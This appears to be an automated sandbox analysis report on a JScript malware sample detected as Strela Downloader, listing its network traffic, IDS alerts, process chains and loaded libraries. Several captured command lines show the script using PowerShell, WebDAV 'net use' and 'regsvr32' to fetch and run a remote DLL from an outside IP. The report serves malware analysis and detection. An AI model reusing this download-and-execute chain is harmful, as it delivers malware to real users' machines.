41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2090506445.0000026C2ECB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2152257987.000001EC2E686000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2152257987.000001EC2E6AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2152257987.000001EC2E686000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/H
Source: svchost.exe, 00000009.00000002.3385650185.0000027D78200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2154324133.0000027D780B0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 5860, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\217933257319519.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\217933257319519.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1444589682028830633.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3288:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_c0gd5sjm.f3y.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 1444589682028830633.js	ReversingLabs: Detection: 18%
Source: 1444589682028830633.js	Virustotal: Detection: 16%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1444589682028830633.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\217933257319519.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2076 --field-trial-handle=1772,i,16039913801129241558,307286947381656726,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\217933257319519.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2076 --field-trial-handle=1772,i,16039913801129241558,307286947381656726,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
